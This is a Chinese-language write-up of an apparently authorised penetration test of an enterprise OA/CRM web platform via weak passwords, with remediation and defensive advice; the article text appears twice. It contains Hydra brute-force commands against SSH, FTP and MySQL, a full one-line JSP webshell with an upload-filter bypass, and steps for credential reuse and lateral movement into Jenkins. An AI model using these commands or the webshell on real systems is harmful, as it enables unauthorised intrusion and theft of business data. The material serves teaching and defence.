1. 项目概述一次典型的弱口令攻防演练在安全测试的日常工作中弱口令的发现与利用往往是最直接、最高效的突破口之一。它不像复杂的逻辑漏洞那样需要精巧的构造也不像0day那样可遇不可求。弱口令更像是一扇虚掩的门考验的是防守方最基本的安全意识和运维规范。这次实战记录源于一次常规的内部授权渗透测试目标是一个中等规模的企业Web应用系统。整个过程没有炫技的漏洞利用链也没有复杂的绕过手法核心就是围绕“口令”这个最基础的认证环节进行系统性的信息收集、枚举尝试和权限提升。对于刚入门安全测试的朋友来说理解并掌握弱口令的挖掘思路与流程其价值远大于去追逐那些不稳定的、需要特定环境的高级漏洞。这次实战的目标系统是一个集成了OA、CRM功能的综合性管理平台前端是常见的Web界面后端推测使用了Java体系。我们的任务是在授权范围内尽可能发现安全隐患并获取证明。整个过程中我使用的工具和方法都是业内常见且公开的重点在于思路的梳理和细节的把握。你会发现很多时候成功并非源于掌握了什么“独门秘籍”而是将那些基础但至关重要的步骤执行得足够彻底和耐心。2. 前期信息收集与攻击面梳理在直接对登录框进行爆破之前盲目尝试是最低效的做法。全面的信息收集能为后续的定向爆破提供精准的“弹药库”。2.1 系统指纹与资产发现首先我使用Nmap对目标域名进行了端口扫描目的是摸清目标对外开放的服务。除了常见的80、443 Web端口扫描还发现了8080、8443等管理端口以及21FTP、22SSH、3306MySQL等常见服务端口。这是一个积极的信号意味着攻击面不仅限于Web前端。注意在授权测试中扫描的强度和频率需要与客户提前沟通避免对生产业务造成影响。我通常使用-sS -sV -O参数组合进行初步探测-sSSYN半开扫描相对隐蔽-sV用于探测服务版本-O用于猜测操作系统。通过浏览器访问Web应用查看页面源代码、HTTP响应头初步判断其使用了某流行Java框架并且前端的JavaScript文件中包含了一些接口路径信息如/api/user/login,/admin/console等。使用Dirsearch或Gobuster这类目录扫描工具进一步发现了/admin/、/manager/、/phpmyadmin/虽然系统是Java但历史遗留或误配置可能存在、/test/、/backup/等敏感目录。这些目录的发现极大地扩展了我们的登录入口点。2.2 用户名枚举与构造弱口令攻击的核心是“用户名-密码”对。获取有效的用户名是成功的第一步。我采用了多种方式进行枚举和收集页面信息泄露在“关于我们”、“团队介绍”、“新闻动态”等页面往往能找到员工的全名。例如发现了“张三”、“李四company.com”等信息。根据企业邮箱命名习惯如姓全拼名首字母可以构造出zhangsan、lisi等潜在用户名。错误信息反馈在登录接口/api/user/login尝试提交空密码或错误密码观察返回信息。幸运的是该系统的错误提示存在差异。使用一个肯定不存在的用户名如randomuser123456和任意密码提交返回“用户不存在”而使用一个可能存在的用户名如zhangsan和错误密码提交返回“密码错误”。这就构成了典型的用户名枚举漏洞。我编写了一个简单的Python脚本结合之前收集的姓名列表批量验证了哪些用户名在系统中是存在的。公开信息搜集利用搜索引擎的site:语法搜索目标公司域名下的文档、邮件列表存档如果存在有时能发现内部通讯录或系统使用手册。此外在GitHub、码云等代码托管平台搜索公司名、项目名有时开发者会不小心将包含测试账号的配置文件上传。默认与常见用户名永远不要忽略最基础的列表。如admin、administrator、root、test、guest以及admincompany.com这类邮箱格式的用户名。经过以上步骤我整理出了一份包含约50个高概率有效用户名的清单。这份清单是后续爆破的基石。2.3 密码字典的精心准备有了用户名就需要匹配的密码。使用网上随便下载的“弱口令字典”往往事倍功半。我习惯根据目标特点定制字典核心思路是“社会工程学”“规则生成”。基础弱口令库包含诸如123456、password、admin123、[当前年份]、qwerty等全球通行的弱密码。这是必选项。公司相关密码收集公司名称全称、缩写、品牌名、产品名、创立年份等。例如公司名为“星辰科技”缩写“XCKJ”创立于“2010”。那么Xckj2010、StarTech2010等就可能被用作初始密码或统一密码策略。季节/节日密码测试时间如果临近某个节日如国庆、春节、司庆可以尝试[节日][年份]的格式。用户名变形将用户名本身作为密码或者进行简单变换。例如用户名为zhangsan则尝试密码zhangsan、zhangsan123、Zs123456、Sanzhang等。密码规则生成利用Hashcat的-r规则或Crunch工具基于已知信息生成密码。例如已知公司常用密码格式为“首字母大写‘’年份”则可以针对每个用户名生成Zhangsan2023这样的密码。拓扑发现如果前期信息收集中发现了员工的社交媒体如领英可以关注其兴趣爱好、宠物名字、毕业院校等这些常被用作个人密码。我将以上来源的密码去重后合并成一个约2万条记录的定制化字典。这个字典规模可控且针对性极强。3. 多维度爆破实战与入口突破拥有用户名列表和定制字典后攻击进入实操阶段。我并没有只盯着主登录页而是对发现的所有潜在入口进行了系统性尝试。3.1 Web登录入口爆破主登录页面/login通常有图形验证码、登录失败次数限制等防护措施。我首先手动测试了几次确认该系统存在验证码但验证码仅在会话Session中有效且未绑定特定用户名或时间戳。这意味着我可以先获取一个有效的验证码和Session然后在该Session内对多个用户名进行密码尝试。我使用Burp Suite的Intruder模块来完成这个任务。操作流程如下浏览器正常访问登录页获取到当前的Cookie包含JSESSIONID和验证码图片。手动识别验证码该验证码比较简单或者如果验证码可绕过如通过删除请求参数、置空等方式则记录下方法。在Burp中捕获登录请求POST到/api/user/login发送到Intruder。设置攻击类型为“集束炸弹”Cluster bomb因为我们要同时对用户名和密码两个变量进行组合尝试。将用户名参数和密码参数设置为负载位置分别载入我们准备好的用户名文件50个和密码字典文件2万条。理论上最大请求数为100万次但实际中我们会有策略地控制。在Options选项卡中设置请求间隔如500毫秒避免触发IP封禁。同时将之前获取的有效Cookie和验证码值captcha参数设置为固定值。开始攻击。通过观察响应长度、状态码和返回内容来筛选成功登录的请求。通常成功登录的响应包长度会与其他明显不同且可能包含跳转信息或特定的成功标识如code: 0。实操心得在爆破过程中要密切关注服务器的响应速度。如果突然变慢或开始返回大量429请求过多状态码应立即暂停延长请求间隔或更换代理IP。硬闯只会导致IP被永久封禁得不偿失。经过一段时间的爆破成功匹配到了一个有效凭证admin / Company2023。这是一个非常典型的“默认管理员用户名公司名年份组合”的弱口令。3.2 旁路服务入口试探在Web爆破的同时我并行测试了其他端口的服务。SSH (22端口)使用收集到的用户名如rootadmin 以及系统可能存在的常见用户名如ubuntudeploy结合一个较小的弱口令字典如top1000进行爆破。工具使用Hydra命令hydra -L user.txt -P pass.txt ssh://[目标IP]。这次尝试没有成功说明服务器SSH口令可能较强或者仅限密钥登录。FTP (21端口)同样使用Hydra进行爆破hydra -L user.txt -P pass.txt ftp://[目标IP]。很多时候FTP服务会使用匿名账号anonymous或与系统相同的弱口令。这次测试中匿名登录被禁止但使用admin/Company2023这个刚才获得的Web密码竟然成功登录了FTP服务器这是一个重大突破因为FTP服务器上往往存放着网站源码、备份文件甚至数据库导出文件。MySQL (3306端口)尝试用root、admin等用户名和空密码、root、123456等常见密码进行连接。使用命令mysql -h [目标IP] -u root -p交互式尝试或者用Hydrahydra -l root -P pass.txt [目标IP] mysql。遗憾的是MySQL端口虽然开放但配置了强密码或限制了来源IP未能直接突破。FTP的突破提供了新的可能性。登录后我发现了一个web_backup_202310.zip的文件下载到本地解压正是该Web应用某次迭代的源代码备份。3.3 源码审计与密码哈希分析获得源代码是渗透测试中的一个“黄金时刻”。我立即开始审计代码重点关注数据库配置文件通常命名为jdbc.propertiesapplication.ymlconfig.inc.php等。在源码中我找到了src/main/resources/application-prod.yml其中明文包含了数据库连接字符串、用户名和密码prod_db_user / ProdDBPass!2023。这个密码虽然比Web密码复杂但依然符合“单词特殊字符年份”的弱模式。硬编码的密钥或密码搜索关键词如passwordpwdsecretkeytoken。发现了一些用于第三方集成的API Key这些可以作为横向移动的素材。身份验证逻辑查看登录相关的Controller和Service代码确认其使用了Spring Security的BCrypt密码哈希算法。这意味着即使拿到数据库中的密码哈希值也无法直接反推明文除非哈希值对应的本身就是极弱密码可用彩虹表破解。但之前获取的数据库明文密码价值巨大。使用刚得到的数据库凭证我成功连接到了目标的MySQL数据库。通过查看用户表sys_user我获取了所有用户的用户名和BCrypt哈希值。虽然无法直接破解但可以做两件事离线针对性爆破将哈希值导出使用Hashcat或John the Ripper结合我们为这个目标精心准备的定制字典进行离线破解。因为BCrypt计算缓慢这需要时间但针对性地破解几个高权限账号如superadmin是值得的。密码复用测试将数据库中某些用户的密码明文如果之前通过其他方式获得或简单变体尝试去登录其他系统如刚才失败的SSH、或者同一内网的其他Web应用。密码复用是极其普遍的安全问题。4. 权限提升与横向移动通过Web后台和数据库我已经获得了系统级的权限。但我的目标是证明风险的存在因此需要展示更深层次的影响。4.1 Web后台Getshell在Web管理后台/admin/console中我发现了“系统设置”-“文件管理”功能它允许管理员上传文件。经过测试该功能对上传文件的类型做了前端校验仅允许.jpg.png.doc但未在后端进行严格校验。我使用Burp拦截上传请求将文件名shell.jpg改为shell.jsp同时文件内容为一句话JSP Webshell% if(pass.equals(request.getParameter(pwd))){ java.io.InputStream in Runtime.getRuntime().exec(request.getParameter(cmd)).getInputStream(); int a -1; byte[] b new byte[2048]; out.print(pre); while((ain.read(b))!-1){ out.println(new String(b)); } out.print(/pre); } %。上传成功并返回了文件访问路径/upload/202311/shell.jsp。通过浏览器访问该JSP文件并带上参数?pwdpasscmdwhoami成功返回了服务器当前进程的用户名通常是tomcat或www-data。至此获得了Web服务器的命令执行权限。4.2 数据库提权与信息深度挖掘在MySQL数据库中以prod_db_user身份登录查看其权限SHOW GRANTS;。发现该用户拥有FILE权限。这是一个危险的信号意味着可以通过数据库向服务器文件系统写入文件。利用此权限我可以尝试写入一个Webshell到Web目录或者读取系统敏感文件如/etc/passwd。但需要注意的是需要知道Web目录的绝对路径。这个信息可以通过之前获取的Webshell执行pwd命令获得也可以在数据库的某个配置表里找到。我选择了一个更直接的方法来证明风险通过数据库查询业务敏感数据。浏览数据库表结构发现了customer_info客户信息、employee_salary员工薪资、internal_document内部文档等表。导出部分数据作为证明已足以说明由弱口令引发的数据泄露风险有多么严重。4.3 横向移动尝试在数据库和业务数据中我发现了其他内部系统的访问地址或配置信息例如一个内部知识库地址wiki.internal.com以及一个Jenkins持续集成服务器地址jenkins.internal.com。利用已发现的密码模式如Company2023[用户名]2023我尝试登录这些内部系统。结果使用admin/Company2023成功登录了Jenkins服务器。Jenkins通常拥有很高的权限可以执行服务器命令、访问代码仓库等这相当于打开了通往整个研发基础设施的大门。5. 漏洞成因深度分析与修复建议这次渗透得以成功根本原因在于目标系统在身份认证的多个层面存在缺陷。5.1 技术层面缺陷密码策略缺失或执行不严允许使用“公司名年份”这类简单规律的密码且密码长度、复杂度无强制要求。数据库管理员的密码ProdDBPass!2023看似复杂实则模式固定易被猜测。缺乏多因素认证MFA对于管理员等高权限账户未启用短信验证码、动态令牌或生物识别等二次验证。默认凭证未修改admin账户的默认密码在系统上线后未被修改或禁用。验证码机制存在缺陷验证码未与每次登录请求绑定导致可在单个会话内被重复使用使爆破成为可能。错误信息枚举登录失败时通过不同的错误提示暴露了用户名是否存在为攻击者提供了枚举有效用户名的途径。权限分离不足Web应用数据库用户拥有过高权限如FILE权限且该密码被硬编码在源码中。FTP服务与Web后台共用同一套弱口令。上传功能过滤不严仅依赖前端文件类型校验后端未进行严格的文件扩展名、内容类型Content-Type和文件头检查。5.2 管理层面缺陷安全意识培训不足员工包括运维人员设置简单密码且在不同系统间复用密码。安全开发生命周期SDLC缺失在开发阶段未对代码进行安全审计导致硬编码密码、脆弱验证逻辑等问题被引入生产环境。配置管理混乱生产环境的敏感配置文件如application-prod.yml未被妥善保护甚至被打包到备份文件中。内网边界模糊内部系统如Jenkins未与外网有效隔离且使用了与外部系统相同或相似的弱口令导致“一点突破全网皆失”。5.3 修复与加固建议强制实施强密码策略要求密码最小长度如12位。强制包含大小写字母、数字和特殊字符。禁止使用公司名、产品名、常见词汇及它们的简单变形。启用密码历史检查防止循环使用旧密码。定期如90天要求更换密码。部署多因素认证MFA对所有管理员账户和具备敏感操作权限的用户账户强制启用MFA。消除默认凭证和硬编码密码首次登录强制修改默认密码。使用安全的密钥管理服务如HashiCorp Vault AWS Secrets Manager来管理数据库密码、API密钥等杜绝硬编码。加固身份验证机制实现统一的、安全的验证码确保每次登录请求使用一次性验证码。修改登录错误提示统一为“用户名或密码错误”防止用户名枚举。实施账户锁定策略连续失败一定次数后临时锁定账户。实施最小权限原则为数据库用户降权仅授予其应用所需的最小权限收回FILE、PROCESS等危险权限。为FTP、SSH等服务使用独立的、强密码的账户并与Web系统账户分离。安全代码实践与审计对所有文件上传功能进行严格的后端校验包括白名单文件扩展名、MIME类型检查、文件内容检测并将上传文件存储在Web根目录之外通过程序动态访问。建立代码安全审计流程在上线前对代码进行静态和动态分析。加强监控与日志审计集中收集并监控所有系统的登录日志、异常访问日志。对频繁的登录失败、非常用地点登录、非工作时间登录等异常行为设置告警。网络隔离与访问控制将内部管理系统如Jenkins、Wiki、监控系统与外网隔离仅允许通过VPN或堡垒机访问。在不同安全级别的网络区域之间部署防火墙严格限制访问策略。6. 防御视角下的思考与工具推荐从这次实战反推防守方需要建立一套体系化的身份安全防护策略。6.1 主动防御自我攻击与监控企业应定期对自己的系统进行弱口令扫描和模拟攻击。可以使用以下工具进行自查Burp Suite Scanner / Intruder针对Web登录口进行自动化爆破测试检查验证码和锁定机制是否有效。Hydra、Medusa针对SSH、FTP、MySQL、RDP等服务的弱口令进行检测。Nmap NSE脚本Nmap的脚本引擎NSE提供了许多用于安全检测的脚本例如http-bruteHTTP爆破、ssh-bruteSSH爆破等可以集成到自动化扫描流程中。自定义字典生成工具如CUPPCommon User Passwords Profiler可以根据目标员工在社交媒体上的信息生成个性化的密码字典用于测试密码策略是否能抵御社会工程学攻击。6.2 被动防御日志分析与异常检测光有防护手段不够还需要能发现正在发生的攻击。集中式日志管理ELK Stack / Splunk将所有服务器、中间件、数据库的认证日志集中收集和分析。编写检测规则在日志分析平台中设置规则例如同一IP地址在短时间内对大量不同用户名进行登录尝试。同一用户名在短时间内来自多个不同国家或地区的IP尝试登录。登录失败次数超过阈值。部署Web应用防火墙WAF配置WAF规则识别并拦截常见的爆破工具指纹和攻击模式。6.3 安全运营流程与意识技术手段需要配合管理流程才能生效。建立上线前安全测试流程将弱口令扫描、配置审计作为应用发布前的强制环节。定期进行安全意识培训让员工理解弱口令的危害并培训其设置和管理强密码的方法推荐使用密码管理器。推行特权访问管理PAM对服务器、数据库等核心资产的高权限访问通过堡垒机进行统一授权、认证和审计实现操作可追溯。这次“弱口令挖掘”的实战再次印证了安全领域的一句老话“安全是一个链条其强度取决于最薄弱的一环。” 弱口令就是这个链条上最常见、也最容易被忽视的薄弱点。作为防御者必须摒弃“设置了密码就安全”的思维从策略、技术、流程到意识构建纵深防御体系。而作为测试者则需要保持耐心和细致不放过任何一个可能的入口因为胜利往往就藏在那些看似最基础的环节里。在后续的测试中即使面对更复杂的系统这套从信息收集到定制爆破再到利用突破的流程化思路依然是行之有效的起点。
从弱口令攻防实战看企业身份认证安全体系构建
发布时间:2026/5/18 11:00:26
1. 项目概述一次典型的弱口令攻防演练在安全测试的日常工作中弱口令的发现与利用往往是最直接、最高效的突破口之一。它不像复杂的逻辑漏洞那样需要精巧的构造也不像0day那样可遇不可求。弱口令更像是一扇虚掩的门考验的是防守方最基本的安全意识和运维规范。这次实战记录源于一次常规的内部授权渗透测试目标是一个中等规模的企业Web应用系统。整个过程没有炫技的漏洞利用链也没有复杂的绕过手法核心就是围绕“口令”这个最基础的认证环节进行系统性的信息收集、枚举尝试和权限提升。对于刚入门安全测试的朋友来说理解并掌握弱口令的挖掘思路与流程其价值远大于去追逐那些不稳定的、需要特定环境的高级漏洞。这次实战的目标系统是一个集成了OA、CRM功能的综合性管理平台前端是常见的Web界面后端推测使用了Java体系。我们的任务是在授权范围内尽可能发现安全隐患并获取证明。整个过程中我使用的工具和方法都是业内常见且公开的重点在于思路的梳理和细节的把握。你会发现很多时候成功并非源于掌握了什么“独门秘籍”而是将那些基础但至关重要的步骤执行得足够彻底和耐心。2. 前期信息收集与攻击面梳理在直接对登录框进行爆破之前盲目尝试是最低效的做法。全面的信息收集能为后续的定向爆破提供精准的“弹药库”。2.1 系统指纹与资产发现首先我使用Nmap对目标域名进行了端口扫描目的是摸清目标对外开放的服务。除了常见的80、443 Web端口扫描还发现了8080、8443等管理端口以及21FTP、22SSH、3306MySQL等常见服务端口。这是一个积极的信号意味着攻击面不仅限于Web前端。注意在授权测试中扫描的强度和频率需要与客户提前沟通避免对生产业务造成影响。我通常使用-sS -sV -O参数组合进行初步探测-sSSYN半开扫描相对隐蔽-sV用于探测服务版本-O用于猜测操作系统。通过浏览器访问Web应用查看页面源代码、HTTP响应头初步判断其使用了某流行Java框架并且前端的JavaScript文件中包含了一些接口路径信息如/api/user/login,/admin/console等。使用Dirsearch或Gobuster这类目录扫描工具进一步发现了/admin/、/manager/、/phpmyadmin/虽然系统是Java但历史遗留或误配置可能存在、/test/、/backup/等敏感目录。这些目录的发现极大地扩展了我们的登录入口点。2.2 用户名枚举与构造弱口令攻击的核心是“用户名-密码”对。获取有效的用户名是成功的第一步。我采用了多种方式进行枚举和收集页面信息泄露在“关于我们”、“团队介绍”、“新闻动态”等页面往往能找到员工的全名。例如发现了“张三”、“李四company.com”等信息。根据企业邮箱命名习惯如姓全拼名首字母可以构造出zhangsan、lisi等潜在用户名。错误信息反馈在登录接口/api/user/login尝试提交空密码或错误密码观察返回信息。幸运的是该系统的错误提示存在差异。使用一个肯定不存在的用户名如randomuser123456和任意密码提交返回“用户不存在”而使用一个可能存在的用户名如zhangsan和错误密码提交返回“密码错误”。这就构成了典型的用户名枚举漏洞。我编写了一个简单的Python脚本结合之前收集的姓名列表批量验证了哪些用户名在系统中是存在的。公开信息搜集利用搜索引擎的site:语法搜索目标公司域名下的文档、邮件列表存档如果存在有时能发现内部通讯录或系统使用手册。此外在GitHub、码云等代码托管平台搜索公司名、项目名有时开发者会不小心将包含测试账号的配置文件上传。默认与常见用户名永远不要忽略最基础的列表。如admin、administrator、root、test、guest以及admincompany.com这类邮箱格式的用户名。经过以上步骤我整理出了一份包含约50个高概率有效用户名的清单。这份清单是后续爆破的基石。2.3 密码字典的精心准备有了用户名就需要匹配的密码。使用网上随便下载的“弱口令字典”往往事倍功半。我习惯根据目标特点定制字典核心思路是“社会工程学”“规则生成”。基础弱口令库包含诸如123456、password、admin123、[当前年份]、qwerty等全球通行的弱密码。这是必选项。公司相关密码收集公司名称全称、缩写、品牌名、产品名、创立年份等。例如公司名为“星辰科技”缩写“XCKJ”创立于“2010”。那么Xckj2010、StarTech2010等就可能被用作初始密码或统一密码策略。季节/节日密码测试时间如果临近某个节日如国庆、春节、司庆可以尝试[节日][年份]的格式。用户名变形将用户名本身作为密码或者进行简单变换。例如用户名为zhangsan则尝试密码zhangsan、zhangsan123、Zs123456、Sanzhang等。密码规则生成利用Hashcat的-r规则或Crunch工具基于已知信息生成密码。例如已知公司常用密码格式为“首字母大写‘’年份”则可以针对每个用户名生成Zhangsan2023这样的密码。拓扑发现如果前期信息收集中发现了员工的社交媒体如领英可以关注其兴趣爱好、宠物名字、毕业院校等这些常被用作个人密码。我将以上来源的密码去重后合并成一个约2万条记录的定制化字典。这个字典规模可控且针对性极强。3. 多维度爆破实战与入口突破拥有用户名列表和定制字典后攻击进入实操阶段。我并没有只盯着主登录页而是对发现的所有潜在入口进行了系统性尝试。3.1 Web登录入口爆破主登录页面/login通常有图形验证码、登录失败次数限制等防护措施。我首先手动测试了几次确认该系统存在验证码但验证码仅在会话Session中有效且未绑定特定用户名或时间戳。这意味着我可以先获取一个有效的验证码和Session然后在该Session内对多个用户名进行密码尝试。我使用Burp Suite的Intruder模块来完成这个任务。操作流程如下浏览器正常访问登录页获取到当前的Cookie包含JSESSIONID和验证码图片。手动识别验证码该验证码比较简单或者如果验证码可绕过如通过删除请求参数、置空等方式则记录下方法。在Burp中捕获登录请求POST到/api/user/login发送到Intruder。设置攻击类型为“集束炸弹”Cluster bomb因为我们要同时对用户名和密码两个变量进行组合尝试。将用户名参数和密码参数设置为负载位置分别载入我们准备好的用户名文件50个和密码字典文件2万条。理论上最大请求数为100万次但实际中我们会有策略地控制。在Options选项卡中设置请求间隔如500毫秒避免触发IP封禁。同时将之前获取的有效Cookie和验证码值captcha参数设置为固定值。开始攻击。通过观察响应长度、状态码和返回内容来筛选成功登录的请求。通常成功登录的响应包长度会与其他明显不同且可能包含跳转信息或特定的成功标识如code: 0。实操心得在爆破过程中要密切关注服务器的响应速度。如果突然变慢或开始返回大量429请求过多状态码应立即暂停延长请求间隔或更换代理IP。硬闯只会导致IP被永久封禁得不偿失。经过一段时间的爆破成功匹配到了一个有效凭证admin / Company2023。这是一个非常典型的“默认管理员用户名公司名年份组合”的弱口令。3.2 旁路服务入口试探在Web爆破的同时我并行测试了其他端口的服务。SSH (22端口)使用收集到的用户名如rootadmin 以及系统可能存在的常见用户名如ubuntudeploy结合一个较小的弱口令字典如top1000进行爆破。工具使用Hydra命令hydra -L user.txt -P pass.txt ssh://[目标IP]。这次尝试没有成功说明服务器SSH口令可能较强或者仅限密钥登录。FTP (21端口)同样使用Hydra进行爆破hydra -L user.txt -P pass.txt ftp://[目标IP]。很多时候FTP服务会使用匿名账号anonymous或与系统相同的弱口令。这次测试中匿名登录被禁止但使用admin/Company2023这个刚才获得的Web密码竟然成功登录了FTP服务器这是一个重大突破因为FTP服务器上往往存放着网站源码、备份文件甚至数据库导出文件。MySQL (3306端口)尝试用root、admin等用户名和空密码、root、123456等常见密码进行连接。使用命令mysql -h [目标IP] -u root -p交互式尝试或者用Hydrahydra -l root -P pass.txt [目标IP] mysql。遗憾的是MySQL端口虽然开放但配置了强密码或限制了来源IP未能直接突破。FTP的突破提供了新的可能性。登录后我发现了一个web_backup_202310.zip的文件下载到本地解压正是该Web应用某次迭代的源代码备份。3.3 源码审计与密码哈希分析获得源代码是渗透测试中的一个“黄金时刻”。我立即开始审计代码重点关注数据库配置文件通常命名为jdbc.propertiesapplication.ymlconfig.inc.php等。在源码中我找到了src/main/resources/application-prod.yml其中明文包含了数据库连接字符串、用户名和密码prod_db_user / ProdDBPass!2023。这个密码虽然比Web密码复杂但依然符合“单词特殊字符年份”的弱模式。硬编码的密钥或密码搜索关键词如passwordpwdsecretkeytoken。发现了一些用于第三方集成的API Key这些可以作为横向移动的素材。身份验证逻辑查看登录相关的Controller和Service代码确认其使用了Spring Security的BCrypt密码哈希算法。这意味着即使拿到数据库中的密码哈希值也无法直接反推明文除非哈希值对应的本身就是极弱密码可用彩虹表破解。但之前获取的数据库明文密码价值巨大。使用刚得到的数据库凭证我成功连接到了目标的MySQL数据库。通过查看用户表sys_user我获取了所有用户的用户名和BCrypt哈希值。虽然无法直接破解但可以做两件事离线针对性爆破将哈希值导出使用Hashcat或John the Ripper结合我们为这个目标精心准备的定制字典进行离线破解。因为BCrypt计算缓慢这需要时间但针对性地破解几个高权限账号如superadmin是值得的。密码复用测试将数据库中某些用户的密码明文如果之前通过其他方式获得或简单变体尝试去登录其他系统如刚才失败的SSH、或者同一内网的其他Web应用。密码复用是极其普遍的安全问题。4. 权限提升与横向移动通过Web后台和数据库我已经获得了系统级的权限。但我的目标是证明风险的存在因此需要展示更深层次的影响。4.1 Web后台Getshell在Web管理后台/admin/console中我发现了“系统设置”-“文件管理”功能它允许管理员上传文件。经过测试该功能对上传文件的类型做了前端校验仅允许.jpg.png.doc但未在后端进行严格校验。我使用Burp拦截上传请求将文件名shell.jpg改为shell.jsp同时文件内容为一句话JSP Webshell% if(pass.equals(request.getParameter(pwd))){ java.io.InputStream in Runtime.getRuntime().exec(request.getParameter(cmd)).getInputStream(); int a -1; byte[] b new byte[2048]; out.print(pre); while((ain.read(b))!-1){ out.println(new String(b)); } out.print(/pre); } %。上传成功并返回了文件访问路径/upload/202311/shell.jsp。通过浏览器访问该JSP文件并带上参数?pwdpasscmdwhoami成功返回了服务器当前进程的用户名通常是tomcat或www-data。至此获得了Web服务器的命令执行权限。4.2 数据库提权与信息深度挖掘在MySQL数据库中以prod_db_user身份登录查看其权限SHOW GRANTS;。发现该用户拥有FILE权限。这是一个危险的信号意味着可以通过数据库向服务器文件系统写入文件。利用此权限我可以尝试写入一个Webshell到Web目录或者读取系统敏感文件如/etc/passwd。但需要注意的是需要知道Web目录的绝对路径。这个信息可以通过之前获取的Webshell执行pwd命令获得也可以在数据库的某个配置表里找到。我选择了一个更直接的方法来证明风险通过数据库查询业务敏感数据。浏览数据库表结构发现了customer_info客户信息、employee_salary员工薪资、internal_document内部文档等表。导出部分数据作为证明已足以说明由弱口令引发的数据泄露风险有多么严重。4.3 横向移动尝试在数据库和业务数据中我发现了其他内部系统的访问地址或配置信息例如一个内部知识库地址wiki.internal.com以及一个Jenkins持续集成服务器地址jenkins.internal.com。利用已发现的密码模式如Company2023[用户名]2023我尝试登录这些内部系统。结果使用admin/Company2023成功登录了Jenkins服务器。Jenkins通常拥有很高的权限可以执行服务器命令、访问代码仓库等这相当于打开了通往整个研发基础设施的大门。5. 漏洞成因深度分析与修复建议这次渗透得以成功根本原因在于目标系统在身份认证的多个层面存在缺陷。5.1 技术层面缺陷密码策略缺失或执行不严允许使用“公司名年份”这类简单规律的密码且密码长度、复杂度无强制要求。数据库管理员的密码ProdDBPass!2023看似复杂实则模式固定易被猜测。缺乏多因素认证MFA对于管理员等高权限账户未启用短信验证码、动态令牌或生物识别等二次验证。默认凭证未修改admin账户的默认密码在系统上线后未被修改或禁用。验证码机制存在缺陷验证码未与每次登录请求绑定导致可在单个会话内被重复使用使爆破成为可能。错误信息枚举登录失败时通过不同的错误提示暴露了用户名是否存在为攻击者提供了枚举有效用户名的途径。权限分离不足Web应用数据库用户拥有过高权限如FILE权限且该密码被硬编码在源码中。FTP服务与Web后台共用同一套弱口令。上传功能过滤不严仅依赖前端文件类型校验后端未进行严格的文件扩展名、内容类型Content-Type和文件头检查。5.2 管理层面缺陷安全意识培训不足员工包括运维人员设置简单密码且在不同系统间复用密码。安全开发生命周期SDLC缺失在开发阶段未对代码进行安全审计导致硬编码密码、脆弱验证逻辑等问题被引入生产环境。配置管理混乱生产环境的敏感配置文件如application-prod.yml未被妥善保护甚至被打包到备份文件中。内网边界模糊内部系统如Jenkins未与外网有效隔离且使用了与外部系统相同或相似的弱口令导致“一点突破全网皆失”。5.3 修复与加固建议强制实施强密码策略要求密码最小长度如12位。强制包含大小写字母、数字和特殊字符。禁止使用公司名、产品名、常见词汇及它们的简单变形。启用密码历史检查防止循环使用旧密码。定期如90天要求更换密码。部署多因素认证MFA对所有管理员账户和具备敏感操作权限的用户账户强制启用MFA。消除默认凭证和硬编码密码首次登录强制修改默认密码。使用安全的密钥管理服务如HashiCorp Vault AWS Secrets Manager来管理数据库密码、API密钥等杜绝硬编码。加固身份验证机制实现统一的、安全的验证码确保每次登录请求使用一次性验证码。修改登录错误提示统一为“用户名或密码错误”防止用户名枚举。实施账户锁定策略连续失败一定次数后临时锁定账户。实施最小权限原则为数据库用户降权仅授予其应用所需的最小权限收回FILE、PROCESS等危险权限。为FTP、SSH等服务使用独立的、强密码的账户并与Web系统账户分离。安全代码实践与审计对所有文件上传功能进行严格的后端校验包括白名单文件扩展名、MIME类型检查、文件内容检测并将上传文件存储在Web根目录之外通过程序动态访问。建立代码安全审计流程在上线前对代码进行静态和动态分析。加强监控与日志审计集中收集并监控所有系统的登录日志、异常访问日志。对频繁的登录失败、非常用地点登录、非工作时间登录等异常行为设置告警。网络隔离与访问控制将内部管理系统如Jenkins、Wiki、监控系统与外网隔离仅允许通过VPN或堡垒机访问。在不同安全级别的网络区域之间部署防火墙严格限制访问策略。6. 防御视角下的思考与工具推荐从这次实战反推防守方需要建立一套体系化的身份安全防护策略。6.1 主动防御自我攻击与监控企业应定期对自己的系统进行弱口令扫描和模拟攻击。可以使用以下工具进行自查Burp Suite Scanner / Intruder针对Web登录口进行自动化爆破测试检查验证码和锁定机制是否有效。Hydra、Medusa针对SSH、FTP、MySQL、RDP等服务的弱口令进行检测。Nmap NSE脚本Nmap的脚本引擎NSE提供了许多用于安全检测的脚本例如http-bruteHTTP爆破、ssh-bruteSSH爆破等可以集成到自动化扫描流程中。自定义字典生成工具如CUPPCommon User Passwords Profiler可以根据目标员工在社交媒体上的信息生成个性化的密码字典用于测试密码策略是否能抵御社会工程学攻击。6.2 被动防御日志分析与异常检测光有防护手段不够还需要能发现正在发生的攻击。集中式日志管理ELK Stack / Splunk将所有服务器、中间件、数据库的认证日志集中收集和分析。编写检测规则在日志分析平台中设置规则例如同一IP地址在短时间内对大量不同用户名进行登录尝试。同一用户名在短时间内来自多个不同国家或地区的IP尝试登录。登录失败次数超过阈值。部署Web应用防火墙WAF配置WAF规则识别并拦截常见的爆破工具指纹和攻击模式。6.3 安全运营流程与意识技术手段需要配合管理流程才能生效。建立上线前安全测试流程将弱口令扫描、配置审计作为应用发布前的强制环节。定期进行安全意识培训让员工理解弱口令的危害并培训其设置和管理强密码的方法推荐使用密码管理器。推行特权访问管理PAM对服务器、数据库等核心资产的高权限访问通过堡垒机进行统一授权、认证和审计实现操作可追溯。这次“弱口令挖掘”的实战再次印证了安全领域的一句老话“安全是一个链条其强度取决于最薄弱的一环。” 弱口令就是这个链条上最常见、也最容易被忽视的薄弱点。作为防御者必须摒弃“设置了密码就安全”的思维从策略、技术、流程到意识构建纵深防御体系。而作为测试者则需要保持耐心和细致不放过任何一个可能的入口因为胜利往往就藏在那些看似最基础的环节里。在后续的测试中即使面对更复杂的系统这套从信息收集到定制爆破再到利用突破的流程化思路依然是行之有效的起点。